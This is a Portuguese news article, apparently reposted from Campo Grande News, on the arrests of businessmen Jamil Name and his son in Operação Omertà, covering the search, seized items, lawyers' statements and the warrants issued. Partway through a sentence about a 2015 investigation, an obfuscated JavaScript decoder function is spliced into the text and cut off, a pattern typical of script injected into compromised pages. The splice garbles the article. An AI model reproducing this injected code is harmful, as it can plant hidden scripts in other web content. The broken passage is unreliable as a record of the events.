[Via Campo Grande News]
Cerca de cinco horas depois da chegada dos policiais do Garras (Delegacia Especializada de Repressão a Roubo a Banco, Assalto e Sequestros), os empresários Jamil Name e Jamil Name Filho deixaram o condomínio Bela Vista e seguem para o IMOL, para exames antes de serem encaminhados à delegacia.
Eles foram presos na Operação Omertà, que desde abril investiga a participação deles em grupo de milícia e crimes de pistolagem. Não foi possível verificar a saída de Jamil Name Filho em outra viatura, mas, logo cedo, os mandados de prisão contra pai e filho haviam sido confirmados pelo delegado Fábio Peró, titular do Garras.
Na saída do condomínio, há pouco, foi possível ver Jamil Name sentado no banco do passageiro, entre dois policiais. Logo atrás, viaturas do Gaeco (Grupo de Atuação Especial de Combate ao Crime Organizado) saíram levando o material apreendido na casa: há documentos, malotes e até um taco de beisebol.
Moradora do condomínio que saía para academia de ginástica foi chamada pelos policiais civis para testemunhar o cumprimento dos mandados de prisão e de busca e apreensão. A medida é de praxe, para atestar que os policiais não cometeram qualquer excesso. Depois de liberada, a jovem não quis comentar o caso além de dizer que “vasculharam tudo lá".
Mais cedo, após noticiado o mandado de prisão dos empresários, ele recebeu visitas do deputado Jamilson Name, filho de Jamil, do médico João Jazbik Neto e dos advogados André Borges e René Siufi.
Pouco antes da saída das viaturas, Siufi deixou o condomínio e disse que os policiais apreenderam documentos, R$ 20 mil e outra quantia em dinheiro que não soube precisar. “Ainda não sei os motivos da prisão”. Ele seguiu para o Garras, onde conversou com os responsáveis pela operação. Na saída, Siufi repetiu que não teve acesso à decisão que mandou prender os clientes e considerou a ação de hoje "uma piada do Gaeco, como foi a Coffe Break", comentou sobre investigação de 2015, que levou ao afastamento do então prefeito function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
O cardiologista Jazbik Neto também esteve na sede do Garras. Apareceu com o prontuário de Jamil Name em mãos, argumentando que o paciente não poderia ser preso porque a recomendação é que "fique em repouso".
Ao todo, são 23 ordens de prisões: sendo 13 mandados de prisão preventiva e 10 mandados de prisão temporária em Campo Grande. A lista de presos inclui um policial federal e quatro policiais civis: Márcio Cavalcanti da Silva, da Derf; Frederico Maldonado Arruda, lotado na Polinter;
Elvis Elir Camargo Lima, do 1° DP de Ponta Porã e o policial federal aposentado Vladenilson Daniel Olmedo. A operação foi autorizada pelo juiz da 7ª Vara Criminal de Campo Grande, Marcelo Ivo de Oliveira.